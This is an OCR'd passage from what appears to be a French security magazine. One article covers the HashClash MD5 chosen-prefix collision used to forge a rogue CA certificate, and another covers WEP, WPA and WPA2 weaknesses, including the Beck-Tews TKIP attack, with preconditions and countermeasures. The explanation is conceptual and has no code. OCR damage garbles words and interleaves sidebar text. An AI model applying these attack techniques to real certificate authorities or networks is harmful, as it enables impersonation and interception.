sions. Cette résistance est différente de la précédente. Il doit
étre difficile de trouver deux messages !l et tels que f(lf) = H({').

Bien que proche du principe de résistance a la seconde pré-
image, cette résistance est d'un autre ordre de calcul. Dans la
recherche de pré-image, le hash a trouver et la premiére image
sont fournies. Dans le cas d'une collision, toute latitude est don-
née concernant le premier message et le second message afin
que le hash final concorde.

Les collisions sont structurellement une réalité des fone-
tions de hachage (due a I'espace limité des valeurs de sortie).
Toutefois, il ne doit exister aucun moyen calculatoire permettant
de trouver des collisions autres que la recherche en force brute.

La recherche d'une seconde pré-image est difficile, et de
Pordre de 2"k ou k est le nombre de bits de sortie de la fonction
de hachage. Pour les collisions, 'ordre chute dramatiquement,
puisque les cryptologues indiquent que la résistance n'est plus

que de 2'(k/2). Cette chute est
due aux paradoxes des anni-
versaires [7].

Les cryptologues pensent
qu'une seule collision connue

| d'une fonction de hachage
est un doute suffisant pour

déconseiller son usage.

C'est la raison pour laquelle MD5 a rapidement fait I'objet
d’attaques sur sa résistance aux collisions.

1.2 Les avancées successives

des attaques contre MD5

Une fonction de hachage doit condenser les messages.
Dobbertin en 1996 [2] annonce avoir trouvé des collisions dans
la fonction de compression de MD5. « We think that this might
be reason enough to substitute MD5 in future application. »
Toutefois, son étude portait sur une version modifiée de MD5.

Un bulletin de RSA Security [3] signale cette faiblesse en la
relativisant : « Existing signatures formed using MD5 are not
at risk and while MDj5 is still suitable for a variety of applica-
tions (namely those which rely on the one-way property of the
output) as a precaution it should not be used for future applica-
tions that require the hash function to be collision-resistant’ ».

Alors que Dobbertin s'appuyait sur une version modifiée de
MD5, Wang en 2004 [ 4] invente une méthode appelée « modu-
lar differential » permettant de générer rapidement (entre 15mn
et 1h) des paires de fichiers produisant des collisions.

Les deux fichiers possédant le méme hash n'ont aucune par-
ticularité intéressante, car leur contenu est imprévisible.
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De fait, la faille de sécurité est démontrée, donc MD5 ne
doit plus étre utilisé.

Posséder deux fichiers remplis de données aléatoires ayant
le méme hash ne permet aucune exploitation de ce résultat. Les
recherches ont continué.

Le projet HashClash [5] a démarré en 2006 et s'est basé
sur une généralisation du travail de Wang afin d’étendre son
concept. L'équipe de HashClash a travaillé sur une méthode
appelée « Choosen prefix collision ».

L'équipe a été capable de fournir des fichiers sources ayant
une base fixe, et une partie mobile. Bien entendu, c'est en faisant
varier les parties mobiles des deux fichiers que l'équipe parvient
a produire le méme hash. La partie fixe est librement choisie, la
partie mobile est appelée « padding ».

Dit autrement, en imaginant un message ' et un message ',
il est possible de calculer un bourrage (ou padding) f et P' tels

Une exploitation judicieuse de ces collisions est appliquée
A une autorité de certification (ou CA). Pour cela, HashClash
a généré deux certificats ayant le méme hash MD5, puis a
demandé a une CA de signer
un des deux certificats. Il

suffit de récupérer cette l Des collision MD5 rapidement calcu-
lables ont permis dattaquer larchitec-
ture de confiance d'internet.

signature pour l'utiliser avec
le second certificat. L'astuce
réside dans la possibilité de
créer, a l'aide de ce second
certificat, une autorité de certification,

Le fait de générer des collisions dans MD5 offre un large
éventail de possibilités. Nous verrons pourquoi attaquer une
PKI est une cible intéressante. Deuxiémement, nous verrons les
difficultés surmontées par HashClash pour arriver a leur fin.
Troisiemement, nous verrons la portée de cette attaque.

2.1 Une PKI est une cible

intéressante

Une PKI fonctionne comme une chaine de confiance. A partir
du moment ot la confiance est accordée dans une CA, alors, tout
certificat signé par cette CA est également de confiance. Une PKI
peut fonctionner sur plusieurs niveaux, une CA signant une sous-
CA qui peut a son tour signer des certificats, et ainsi de suite.

Les connexions SSL sont basées sur ce principe. Lapplication
(par exemple utilisant HTTPS ou bien IMAPS) fait confiance a
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2. La ceréation d’une vraie fausse autorité de certification

¢ certification

que MD5(H|[P) = MD5(H'[IP"). Enfin, le padding d'octets peut &tre situé

en un endroit choisi dans le fichier source.

La premiére mise en ceuvre de cette collision a préfixe choisi
a concerné deux programmes Windows [6] différents ayant le
méme hash. Ce résultat montre que la signature d'applications
basées sur MD5 ne doit plus étre considérée comme fiable.

De plus, pour prouver l'efficacité de leurs méthodes, 12 (1)
documents PDF différents, ayant tous le méme hash ont
été créés,

Dans les deux cas, le padding a été placé dans des endroits
« insensibles » du fichier source, tels que des commentaires.

En résumé, I'équipe de HashClash est capable de fournir
rapidement des fichiers ayant le méme hash, ces fichiers étant
composés d’'une partie choisie et d'une part de bourrage. La vul-
nérabilité réside dans la liberté totale du choix du contenu des
fichiers sources ayant le méme hash MDs5.

une ou plusieurs CA. Le site consulté présente un certificat. 8'il
est signé par une des CA de confiance, le site est considéré de
confiance. Par exemple, Firefox affiche un cadenas fermé qui
indique que le site distant est
bien celui qu'il prétend étre
et que la communication est
chiffrée.

| Si la CA racine n’'est

pas accréditée comme de
confiance ou si le site visité
ne présente pas un certificat a son nom, alors le navigateur ou
l'application doit prévenir I'utilisateur ou arréter la connexion.

Corrompre cette chaine de confiance permettrait de se faire
passer pour n'importe qui, sans que I'applicatif n'affiche un
avertissement.

2.2 Difficultés a surmonter

Les collisions trouvées par HashClash imposent de précal-
culer deux fichiers sources, Cette méthode n'est pas directe-
ment applicable 4 une demande de signature par une CA. En
effet, pour faire signer un certificat, il suffit de fournir une clé
publique et le nom sous lequel on souhaite étre certifié.

La CA va ajouter plusieurs informations, dont le numeéro de
série du certificat, les dates de validité de celui-ci, éventuelle-
ment des extensions X.509. Ce résultat est haché, puis signé.




Le point crucial réside dans la connaissance préalable des
informations que la CA va ajouter dans le certificat avant de le
signer. Avec celles-ci, HashClash est capable de créer un second
certificat qui dispose du méme hash ayant l'extension CA.

Enfin, le path-length du chemin de certification ne doit
pas étre limité. Le path-length indique le nombre maximal de
CA consécutives pouvant exister. La puissance de leur attaque
repose sur I'ajout dune sous-CA. Il est donc nécessaire de ne
pas étre limité a ce niveau.

Tout d'abord, il faut bien évidemment trouver une CA qui
signe encore avec MD5. Un scan minutieux d'internet leur a
montré que 6 CA utilisent encore MD5 (malgré les nombretf;es
mises en garde depuis 2004), dont la majorité provenait de
RapidSSL [8].

RapidSSL est, de plus, particuliérement facile & attaquer :
—# Les numeéros de série sont itératifs, et donc prévisibles.

—# La date de début de validité du certificat commence exacte-
ment 6 secondes aprés soumission.

—# Le path length n'est pas défini, et donc illimité.

Fort de ces informations, HashClash a pu prévoir précisé-
ment quel sera le certificat qui serait signé par RapidSSL. Ils
ont done préparé un second certificat ayant le méme hash MD5
qui posséde l'extension CA.

Toutefois, il a fallu faire face a des problémes d’implé-
mentation. La méthode de
HashClash utilise une par-
tie fixe et une partie mobile
afin de faire concorder les
hashs. Pour le certificat a
faire signer, la partie fixe est
constituée d’'informations
normales. La partie mobile
a été située tout simplement
dans la clé publique. La
demande de signature présentée & RapidSSL n'avait strictement
aucune raison d'étre suspecte.

Le second certificat, offensif, a donc sa partie fixe contenant
différentes informations plus le fait qu'il soit lui aussi autorité
de certification.

Afin de faire concorder les hashs, une partie mobile est
nécessaire. Il n'a pas été possible d'utiliser la clé publique
comme partie mobile. HashClash a décidé d’utiliser un champ
X.509 appelé « Netscape Comment » qui, comme son nom l'in-
digue, n'est qu'un commentaire pouvant contenir tout type de
données. (Ce n'est pas le seul champ utilisable selon eux, mais il
convient) HashClash fournit une explication compléte sur leurs

choix [9] [10]. Enfin, pour éviter toute utilisation frauduleuse

We do not want to help persons with cri-
minal intent. Therefore we will for the time
being not release the full details of how we
have been able to obtain the rogue Certifi-
cation Authority certificate.

i »
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de leur certificat, la date de validité a été placée dans le passé,
réduite a un mois, celui d'aolit 2004, en hommage aux travaux
de Wang.

L'attaque a parfaitement réussi aprées quelques essais dus
4 de mauvais timings pour prévoir le bon numéro de série.
RapidSSL a signé la demande, done HashClash est en posses-
sion d'un certificat d’autorité (certes périmé), mais parfaitement
valide. Le site https://i.broke.the.internet.and.all.i.got.
was.this.t-shirt.phreedom.org/ utilise un certificat signé
par cette autorité.

Les deux certificats sont consultables en ligne sur le site web
de HashClash : http://www.win.tue.nl/hashelash/rogue-
ca/downloads/real.cert.cer et http://www.win.tue.nl/
hashclash/rogue-ca/downloads/rogue ca.cert.cer.

2.3 Portée de 'attaque

HashClash a donc réussi a faire signer un certificat d'auto-
rité. Plusieurs événements favorables ont été nécessaires pour
réaliser cet exploit :

—# La CAsigne a l'aide de MDs.
— La CA utilise des numéros de série prévisibles.

—# La CA utilise un mécanisme automatique signant les
requétes, permettant d’anticiper les dates de certifications.

—# La CA n'a pas limité son path-length.

Théoriguement, I'at-
taque est rééditable contre
toute CA signant en MD5
et qui est prévisible dans
la construction de ses
certificats. Toutefois,
HashClash n'a pas sou-
_I haité dévoiler toute la

méthode permettant de
des collisions [17] : « We do not want to help persons with cri-
nunal intent. Therefore we will for the time being not release
the full details of how we have been able to obtain the rogue

générer aussi aisément

Certification Authority certificate. (...) To make our present
results possible these publicly known techniques have been
improved at crucial points. (...) For the time being we do not
plan to release such implementation detatls ».

Léquipe propose des contre-mesures et recommandations a
mettre en ceuvre pour les gestionnaires de CA et pour les clients
utilisant des CA.

1l est conseillé aux administrateurs de CA de bannir MD5
comme algorithme de hachage, d’introduire de 'aléa la ot
nécessaire (numéro de série par exemple), et de ne pas avoir
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de procédure de signature automatique, afin d'une part que
I'heure de certification soit imprévisible et d’autre part pour sur-
veiller si un client demande
a signer en grand nombre
des certificats.

Pour les clients, il nexiste
pas de bonne solution,
Interdire tous les certifi-
cats signés par MDg balaye
beaucoup trop large. Vérifier
manuellement chaque certificat signé par MD5 a la recherche
d’extensions particuliéres comme le « Netscape Comment »
parait difficilement exploitable [11] : « Users may wish to
manually analyze the properties of web site certificates (...)
Certificates listed as md5RSA or similar are affected. Such

I-;()() Playstation 3 ont travaillé en clus-
ter pour fournir la puissance de calcul
nécessaire aux calculs des deux certifi-
cats ayant le méme hash MD5.

Exploitation de la faiblesse de MD5 : création d'une autorité de certification

certificates that include strange or suspicious fields or other
anomalies may be fraudulent. Because there are no reliable
signs of tampering it must be
noted that this workaround
is error-prone and impracti-
cal for most users. »

Je signale au lecteur
_I que le site web http://

codefromthevos.org/ -

sslblacklist.aspx pro-
pose une extension Firefox qui signale tout site web HTTPS
utilisant MD5. C'est intrusif, mais cela permet de vérifier au
besoin la parenté compléte de certification des sites utilisant
md5 [15]

‘3. Les CA sont-elles vraiment de confiance ?

Cette attaque a montré avec brio qu'une faille, pourtant
minime, peut conduire & des vulnérabilités sérieuses. Toutefois,
suite 4 lannonce de HashClash pendant le 25C3 fin décembre
2008 [16], certains éditoriaux de journaux internet ont titré un
peu rapidement « La fin du SSL », ce qui est faux. Le SSL n'est
pas cassé. Dans les connexions TLS (comme HTTPS), SSL a
deux raisons d’étre ; chiffrer les communications et authentifier
le site web visité.

Et SSL fonctionne toujours, méme avec cette fausse autorité
de certification. Le chiffrement est toujours présent, et le site
distant dispose d'un certificat  son nom, diment signé. Il est
signé par la fausse autorité créée par HashClash, qui est signé
par une autorité de confiance. La chaine de certification est
done, du point de vue SSL, valide.

Bien évidemment, le client ne devrait pas faire
confiance au site distant, mais SSL ne lui permet pas de s'en
rendre compte.

Le fonctionnement des
PKI repose sur la confiance
envers les autorités de cer-
tification et de leurs pro-
cédures permettant de
certifier des sites ou des
personnes. Mais, cette
confiance est mise a mal
par cette attaque. Il est intéressant de se demander pourquoi le
navigateur web fait confiance a des autorités qui utilisent encore
MDs5 en 2008 dont 'une a pu se faire abuser par une équipe
de recherche.
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Le fonctionnement des PKI repose sur la
confiance envers les autorités de certifi-
cation et de leurs procédures permettant
de certifier des sites ou des personnes._l

Depuis quelque temps, certaines autorités se battent pour
introduire un code de couleur dans les navigateurs web. Couleur
blanche : le site n'est pas sécurisé. Couleur bleue : le site est
séeurisé. Couleur verte : le site est sécurisé et validé. On parle
de certificats EV : Extended Validation.

Techniquement, il n'existe aucune différence entre le bleu et
le vert. Ce sont rigoureusement les mémes mécanismes : PKI,
CA de confiance et certificats. Toutefois, les raisons de mise en
service laissent songeur, notamment « EV SSL certificates are
intended to restore confidence among users » (les autres raisons
tendent & forcer une vérification plus appuyée du demandeur et
MDj5 est indiqué comme « NOT RECOMMENDED ») [13].

Mis en ceuvre correctement, le mécanisme des PKI reste
solide. Une fois de plus, en informatique, tout réside dans
implémentation. Les navigateurs web embarquent plus de
150 autorités de certification dont certaines cherchent avant tout
le profit plutét que la sécurité.
Ce constat est corroboré par
plusieurs autres affaires, ol
des CA signent sans la moindre
vérification des certificats pour
n'importe quel nom [1z2].

La faille présentée par
HashClash permet, d'une part,
d’écarter définitivement MD5
comme fonction de hachage, et, d'autre part, conduit a s'inter-
roger sur les autorités « de confiance » dont sont bardés nos
navigateurs web. Comme le dit Richard Thieme [14] pour un
tout autre sujet : « Trust, but verify...»
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LA SECURITE
DU WIFI SUR
LA SELLETTE

écemment, des faits ont défrayé la chronique pour remettre en cause la
sécurité du protocole WPA utilisé dans la technologie sans-fil. Apres les
déboires de WEP qui a rendu le WiFi indigne de confiance, quen est-il

réellement de la sécurité dans ce domaine ?

Avant tout, il convient de faire une petite piqire de rappel concernant la technologie WiFi qui s'appuie sur des
acronymes barbares que sont WEP, WPA, PSK, TKIP, CCMP, AES...

1. Un petit rappel a propos du WiFi

Lors de sa conception, la technologie WiFi, dont
le but est de permettre de faire du réseau sans fil, a
rapidement posé la question de la sécurité, particulié-
rement concernant la confidentialité. En effet, si les
transmissions en clair sur un réseau filaire nécessitent
d’avoir accés & l'infrastructure physique de ce réseau
pour écouter les données en transit, il suffit d’étre a
portée d'ondes radio pour faire de méme avec un réseau
sans fil.

Afin de lutter contre ce risque, le WEP a été déve-
loppé. WEP n’avait pas pour but de sécuriser les trans-
missions, mais de « fournir une sécurité équivalente
4 une connexion Ethernet filaire », d'oi son nom :
Wired Equivalent Privacy et non pas WiFi Encryption
Protocol comme trop de gens semblent encore le croire.
C'est peut-étre cet état d’esprit qui a fait que WEP a été
cassé en trés peu de temps.
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11 WEP

Rapidement, des faiblesses de conception ont été
trouvées dans WEP, Parmi celles-ci, 'une des plus
importantes est que WEP n'inclut pas un protocole de
gestion de clés, mais s'appuie sur une clé unique parta-
gée et donc connue des utilisateurs. De plus, cette clé est
en fait un simple nombre hexadécimal généré par l'utili-
sateur qui a tendance & utiliser les caractéres possibles
pour former un mot plus facile & retenir (par exemple
FADA)., WEP s'appuyant sur I'algorithme de chiffrement
RC4 qui fonctionne par flot, la méme clé ne devrait pas
étre utilisée 4 chaque fois. Un concept de vecteur d'ini-
tialisation (IV=Initialization Vector) de 24 bits conca-
téné & la clé et transmis en clair a done été mis en place
afin de permettre d'avoir une clé différente 4 chaque
transmission. Mais, 24 bits ne suffisent pas et il a donc
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fallu également accepter qu'une clé déja utilisée pour coder un
paquet codé soit 4 nouveau utilisée. Enfin, I'IV est utilisé d'une
maniére permettant les attaques par clé apparentée. Dans cette
technique, l'attaquant connait les propriétés mathématiques des
algorithmes mis en ceuvre pour lier les clés utilisées dans les

transmissions et n’a done besoin que d’écouter peu le réseau.

Conséquence logique de ces carences, Fluhrer, Mantin et
Shamir ont trouvé en 2001 comment casser WEP [2]. Expliquée
simplement, 'attaque FMS (du nom des auteurs) consiste &
capturer une grande quantité de paquets (au départ plus d'un
million) contenant des valeurs de vecteurs d'initialisation spé-
cifiques, ce qui peut se faire en une trentaine de minutes grice a
la performance des transmissions et & des mécanismes de géné-
ration de trafic, méme sansla clé. Compte tenu que I'TV n'est pas
chiffré, les 3 premiers octets de la clé sont connus. De plus, les
premiers octets en clair du paquet sont facilement prédictibles,
puisque le contenu est normalisé. Ensuite, par 'utilisation d’al-
gorithmes mathématiques codés dans des outils spécialisés, la
détermination des parties manquantes de la clé se fait rapide-
ment (quelques secondes une fois les paguets capturés). Par la
suite, différentes autres techniques sont apparues permettant de
raccourcir encore d'avantage le temps et la quantité de données
nécessaires au cassage de la clé WEP.

Ainsi KoreK [3] a permis en 2004, par une approche
similaire a I'attaque FMS, de réduire le nombre de paquets
nécessaires a 700 000 pour 50% de chance de succés. KoreK a
également présenté une autre approche dite « chopchop » [4]
parce quelle fonctionne en tronquant des octets de paquets cap-
turés et rejoués. En 2007, Pyshkin, Tews et Weinmann ont intro-
duit de nouveaux concepts, réduisant le besoin 4 40 000 paquets
(soit moins d'une minute de capture) et quelques secondes de
calculs pour 50% de chance de succeés également.

Apres toutes ces parutions, WEP était devenu totalement
indigne de confiance et il fallait donc mettre en place de nou-
veaux meécanismes pour retrouver une confidentialité des
échanges. A ce jour, WEP peut se casser avec un PDA ou un
simple smartphone et, méme si la technique n'est pas 4 la portée
du premier quidam venu, il existe des tutoriaux qui la rendent
accessible a un « script kiddy ».

Au moment des premiéres découvertes, la norme 802,11 | 5]
était done au plus mal. Mais, 'amendement 802.11i [6] visant 3
résoudre ses problémes de sécurité n'était pas encore finalisé.
De plus, la nouvelle norme de protection du WiFi devrait pou-
voir étre mise en place dans les matériels déja en fonetion et aux
capacités techniques limitées, autant au niveau performance de
calcul que de la possibilité d'injecter directement dans le chipset

une trame entierement générée en couche logicielle. Clest dans
cet environnement que WPA (WiFi Protected Access) a été
concu, dans le respect de la majorité de 8o2.11i.

WPA utilise done toujours RC4 et son chiffrement par flot,
mais de petits changements tels une clé portée nativement
128 bits, un IV différent de celui de WEP porté i 48 bits et
appelé TSC (TKIP Sequence Counter), servant de compteur de
séquence pour garantir l'arrivée séquentielle des paquets et ainsi
empécher les attaques de rejeu. De plus, afin d’éviter l'utilisa-
tion de la méme clé comme dans WEP, TKIP (Temporal Key
Integrity Protocol) met également en place un mécanisme de
régénération dynamique des clés. Par ailleurs, suite i la faiblesse
dans les vecteurs d'initialisation (IV) de WEP, TKIP utilise un
nouveau procédé en mélangeant une clé de session avec son vec-
teur d'initialisation pour chaque paquet transmis. Afin d’amé-
liorer le checksum CRC32 et d'empécher les attaques contre lui,
64 bits supplémentaires, appelés MAC (Message Authentication
Code), MIC (Message Integrity Check) ou Michael, sont égale-
ment ajoutés au paquet. Suite au succes des différentes tech-
niques d'attaques déja connues, TKIP a, de plus, développé des
contre-mesures. Ainsi, en cas de réception d’'un paquet avec un
ICV (Integrity Check Value) incorrect, le paquet est purement
et simplement détruit. Dans le cas ol I'ICV serait correct mais
pas Michael, alors le paquet est considéré comme une tenta-
tive malveillante (plut6t qu'une erreur) provoquant 'envoi d'un
paquet « MIC failure report frame » en retour et 'armement
d’'un compteur de temps. Si ce type de tentative est 4 nouveau
détecté dans un délai de 60 secondes, une renégociation de la
clé est enclenchée automatiquement, remettant ainsi a zéro les
clés de session en cours. Enfin, dans le cas ot les échanges sont
considérés comme normaux, le compteur de séquence TSC du
canal correspondant est incrémenté. §i un paquet est recu avec
un TSC inférieur 4 la valeur en cours, le paquet est détruit.

Compte tenu que WPA n'a été développé que pour permettre
la sécurisation des équipements ne pouvant pas matériellement
respecter la norme 802.11i, rien n'empéchait la mise en place de
la version finale de cette norme dans les nouveaux équipements.
Mais, pour les raisons indiquées en début de ce chapitre, instal-
ler WPA dans les vieux équipements WEP n'était pas possible.
WPA avec le protocole TKIP, qui reste le maillon faible de cette
technologie, a donc été créé pour contourner ces limites. Sans
cela, WPA2 (WPA dans sa version finale a base de chiffrement
AES) aurait directement été I'étape suivant WEP,

1.3 WPA2 it

Laboutissement de la sécurisation du WiFi est donc WPAz2,
totalement respectueux de 802.11i. Ici RC4 est délaissé au pro-
fit AES (Advanced Eneryption Standard). Cet algorithme,
également appelé Rijndael, est celui sélectionné aprés I'appel
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international a candidature émis par le Gouvernement
Américain en 1997 pour remplacer 'obsoléte DES et sa variante
3DES. 1l est depuis I'an 2000 l'algorithme de chiffrement utilisé
par ce gouvernement pour ses documents confidentiels qui, afin
de sassurer de la fiabilité ’AES, a demandé au NIST (National
Institute of Standards and Technology) d’en valider la sécu-
rité. Le NIST a pour cela monté un concours visant a « casser »
l'algorithme. Au final, certaines attaques ont porté leurs fruits,
telle celle de I'équipe de Niels Ferguson qui a pu permettre de
faire des modifications sur la clé et chiffrement des données.
D’autres groupes ont, de leur c6té, mis en évidence les possibi-
lités d'attaques en utilisant d'autres techniques mathématiques,
notamment des attaques XL basées sur une analyse heuristique.
Mais, au final, AES est resté digne de confiance et la clé secréte
n'a jamais été compromise. Le NIST I'a validé en 2004.

Déja, AES peut utiliser des clés de 128, 192 ou 256 bits.
Lalgorithme prend en entrée des blocs de 128 bits (16 octets),
qui sont ensuite permutés selon une table définie au préalable.
Puis, ce résultat est placé dans une matrice de 4 éléments par 4
dont chaque ligne subit une rotation a droite variant en fonction
du numéro de ligne. Puis, une multiplication binaire, soumise
aux régles GF(28) (groupe de Galois ou corps fini), de chaque
élément de la matrice est effectuée avec des polynémes prove-
nant d'une autre table. Cette transformation, dite « linéaire »,
permet de garantir une meilleure propagation des bits dans la
structure. Enfin, un OU exclusif (XOR) entre la matrice obtenue
et une autre permet d'obtenir une matrice intermédiaire.

La société EleomSoft, spécialisée dans les logiciels d'at-
taque par force brute en utilisant la puissance des processeurs
graphiques NVidia qui démultiplie les performances par 100,
a fait récemment une annonce [1] indiquant que la sécurité de
WPA et méme celle de WPA2 n'étaient plus fiables, D'apreés cette
société, leur logiciel était en effet capable de casser les clés de
ces couches de protection. La faiblesse provient-elle vraiment
de cette annonce ?

Commencons par remettre les choses a leur place : la
sécurité de WPA (entre autres) repose sur une clé partagée
appelée PSK (Pre-Shared Key). Méme si certaines implémen-
tations proposent également 802.1x, cette méthode reste le
point commun 4 tous les équipements pour sécuriser les flux
WPA. Cette PSK est un « mot de passe » de 8 a 63 caractéres
ASCII, qui sera ensuite transformé en une clé d'une longueur
de 256 bits. Cette pratique est selon un avis personnel mau-
vaise, car elle permet la saisie de mots du langage courant « plus
faciles a se rappeler » et, ainsi, les attaques par dictionnaires
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2. Quid de 'attaque par force brute de WPA-PSK ?

écurité du WiFi sur la sellette

Toutes ces opérations sont répétées plusieurs fois, ce qui
constitue un tour & chaque fois. Pour une clé de 128 bits, 10 tours
sont effectués. Pour 192 bits, 12 tours et pour 256 bits, 14 tours.

De plus, en remplacement de TKIP, WPA2 s'appuie sur le
protocole CCMP (Counter-Mode/CBC-Mac protocol) qui fait
partie de la suite AES. CCMP utilise les blocs AES dans un
mode d'opération de type compteur, couplé a une authentifica-
tion CBC-MAC. Le compteur (porté de 24 bits (WEP) a 48 bits,
augmentant ainsi considérablement I'espace du vecteur d'initia-
lisation) a pour mission de garantir le chiffrement en évitant un
IV déja utilisé. Et CBC-MAC de garantir I'intégrité du message.

Enfin, le code d’authentification, appelé MIC (Message
Integrity Code) est construit en chiffrant le premier bloe de
données de 128 bits avec AES grice a une clé d'authentifica-
tion. Puis, un OU exclusif entre ce résultat et le bloc suivant de
données est effectué. On recommence alors (chiffrement avec
AES et la clé dauthentification puis OU exclusif) et ainsi de
suite... Afin de traiter tous les blocs, on répéte les deux dernieres
opérations. Enfin, on tronque le résultat final de 128 bits pour
en extraire les 64 bits de poids forts qui représenteront le MIC.
A noter que, contrairement 4 WEP et 48 WPA, l'intégrité se fait
également sur les champs fixes de l'en-téte du paquet.

Bien sfir, AES n’est sans doute pas invulnérable, mais, a ce
jour, n'a pas été cassé, De par sa conception, les attaques par
méthodes classiques comme la eryptanalyse linéaire ou diffé-
rentielle sont trés difficiles et seule l'attaque par force brute
reste possible.

pour découvrir la clé deviennent possibles, ce qui peut consi-
dérablement réduire le temps de recherche. D'autres équipe-
ments permettent également de saisir la clé au format final
PMK (Pairwise Master Key) sous la forme d'une chaine de
caracteres hexadécimaux.

Non, non, pour bien faire, I'idéal reste un bon vieux généra-
teur aléatoire qui utilisera toute la taille de la clé et fabriquera

un true impronongable comme clé.

En effet, pour un « mot de passe » généré aléatoirement, le
nombre de possibilités maximum possible pour g5 caractéres
différents est si élevé que méme en testant un million de clés
par seconde, il faudra encore des milliards de milliards d'années
pour tester chaque clé, & moins d'un coup de chance tellement
improbable qu'il doit forcément déboucher sur 'achat immeédiat
d'un billet de loterie. Autant dire que ¢a nest pas avec une telle
méthode que WPA sera cassé tant que la PSK n'est pas égale au
SSID :) ou exécrable.
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3. Mais alors, faiblesse ou pas dans WPA ?
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A cette question, la réponse est malheureusement « oui »
a condition que WPA utilise TKIP. En effet, par d’autres tech-
niques, des chercheurs allemands, Martin Beck et Eric Tews, ont
réussi a compromettre partiellement WPA (s'il utilise TKIP) et
ont démontré cette possibilité lors du salon PacSec & Tokyo, les
12 et 13 novembre 2008,

4. La nouvelle attaque WPA

Avant tout, il faut comprendre que WPA devait au départ
s‘appuyer sur le protocole CCMP qui fait partie dAES. Mais, afin
de permettre la mise & jour des équipements dont la seule sécu-
rité repose sur WEP, le protocole TKIP a été concu. Sans cette
contrainte de compatibilité matérielle, il n’y aurait peut-étre pas
de faiblesse dans les protocoles utilisant TKIP i I'heure actuelle.

Martin Beck et Eric Tews décrivent dans leur document [7]
une nouvelle méthode qu'ils ont réussi 4 mettre en ceuvre contre
WPA/TKIP. Cependant, cette technique ne fonetionne que si
I'échange WPA respecte certaines contraintes 4

—#l Idéalement, I'échange doit se faire sur un plan d’adressage
connu de la personne malveillante. Ainsi, il est possible de
déduire la plus grande par-
tie du codage des adresses
IP. On pourra ici compter
sur la documentation des
matériels utilisés qui indi-
queront la configuration avec WPA.

par défaut, souvent celle
mise en ceuvre. Si cette
contrainte n'est pas res-
pectée, l'attaque reste pos-
sible, mais prendra plus un risque ?
de temps.

~# WPA peut fonctionner sur TKIP ou CCMP. I est indispen-
sable que TKIP soit utilisé.

—# La durée de vie des clés doit étre suffisamment lon-
gue afin que l'attaque puisse réussir. Ainsi, une durée de
3600 secondes (une heure) rend l'attaque possible. A nou-
veau, la documentation des matériels permettra d'avoir une
idée de la configuration par défaut et de la possibilité de
paramétrage de la durée de vue des clés.

—# Enfin, si le réseau accepte des communications au travers
de (jusqu'a) 8 canaux différents entre le point d’aceés et
une machine spécifique, partie des fonctions destinée &
améliorer la Qualité de Service en 802.11e, les chances de
succes augmentent considérablement. Encore et toujours, la
documentation indiquera la configuration par défaut et les
possibilités du point d’accés.

Une fois ces conditions satisfaites, la démonstration des-

tinée & décoder des données envoyées par le point d’accés vers

I Apres WEP a bannir de son point
dacceés, la sécurité de la technologie
WiFi est a nouveau remise en question

Moult articles ont abordé le sujet, mais
quen est-il en réalité de la sécurité de
WPA ? Sous quelles conditions y a-t-il

la station pourra commencer dés qu'un paquet de trés petite
taille, tel un ARP request ou un ARP reply, aura pu étre capturé.
Dans ce type de paquet chiffré qui ne contient en fait que des
adresses IP et MAC, 28 octets sont connus (de la version non
chiffrée) car normalisés, et les adresses MAC ne sont pas chif-
frées. De plus, parce que le champ MAC destination sera égal &
00:00:00:00:00:00 pour les paquets ARP Request, il ne man-
quera en fait pour le pirate
qu’a déterminer 12 octets
composés de Michael
(8 octets) et du checksum
ICV (4 octets). Ceux-ci for-
ment la fin de la partie du
message non chiffré.

L'attaque « chopchop »
adaptée & TKIP peut étre
initiée [8] afin de décoder
les octets manquants. Dans
cette technique, le paquet
provoque l'activation des contre-mesures par la station, a savoir
Tenvoi d'un paquet « MIC failure report frame ». 1l est donc
nécessaire de patienter 60 secondes aprés la réception d'un
tel paquet pour ne pas enclencher une renégociation de la clé.
Cependant, grace aux fonctions de qualité de service permettant
de sappuyer sur 8 canaux différents, il suffit de fonctionner
sur ces canaux en paralléle pour augmenter les performances.
Utiliser ces autres canaux présente en plus 'avantage de dis-
poser de TSC inférieurs, puisque ces canaux sont en général
rarement utilisés (c’est surtout le canal o qui est sollicité dans
les échanges).

Au final, dans un délai d'une quinzaine de minutes, le pirate
arrivera a décoder les 12 octets manquants du paquet ARP. Il
ne lui restera alors qu'a trouver les adresses IP définies dans le
paquet par une classique attaque par force brutale avec com-
paraison avec 'ICV chiffré. En effet, une fois que le contenu en
clair du paquet et Michael sont connus, il suffit alors d'inverser
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T'algorithme MIC pour en déduire la clé MIC utilisée pour assu-
rer lintégrité des paquets. La deuxiéme faiblesse du systeme qui
permet le succes de cette technique vient de ce que la résistance
de l'algorithme Michael est faible [11], si bien qu'il est possible
d’inverser un MIC pour en extraire la clé. Daprés Martin Beck et
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Eric Tews, ce calcul du MIC est tout aussi performant a l'envers
qu'a I'endroit.

Le pirate dispose maintenant de la clé MIC. Il lui devient
possible de décoder une nouvelle clé en environ 4 ou 5 minutes.

5. L’attaque a réussi, et apres ?

Déja, il faut garder a l'esprit que la clé sécrete (qui est déri-
vée dynamiquement grice au 4-way handshake) qui chiffre 'en-
semble des échanges n'est pas compromise et donc les échanges
restent sfirs. Ici, le suceés de T'attaque ne permet que de nuire
aux communications en provenance du point d’accés vers la sta-
tion dont I'échange a été compromis, car seule la clé utilisée par
Michaél dans ce sens est découverte.

Dans le meilleur des cas, il serait possible d’éhvoyer a la
station de travail relié au point d’accés un unique paquet de

données qui peut également &tre une réponse forgée a un flux
sortant, lequel pourra permettre de nuire a celle-ci, a condition
toutefois que la station ne se protége pas avec un bon pare-feu
personnel par exemple. Cependant, si demain une nouvelle
technique permettait au pirate de décoder le MIC dans les deux
directions (l'attaque présentée ne décode que celui des paquets
de données du point d’accés vers la station de travail), il pourrait
alors envoyer vers le réseau des paquets dont le contenu serait
a sa discrétion.

6. Comment réduire les chances de succes de cette attaque ?

Par chance, l'attaque repose principalement sur la satisfac-
tion de deux contraintes. Lune est la durée de vie des clés. Si
cette durée de vie était réduite, par exemple, a4 deux minutes,
alors 'attaque ne pourrait plus réussir. Lautre est la détection
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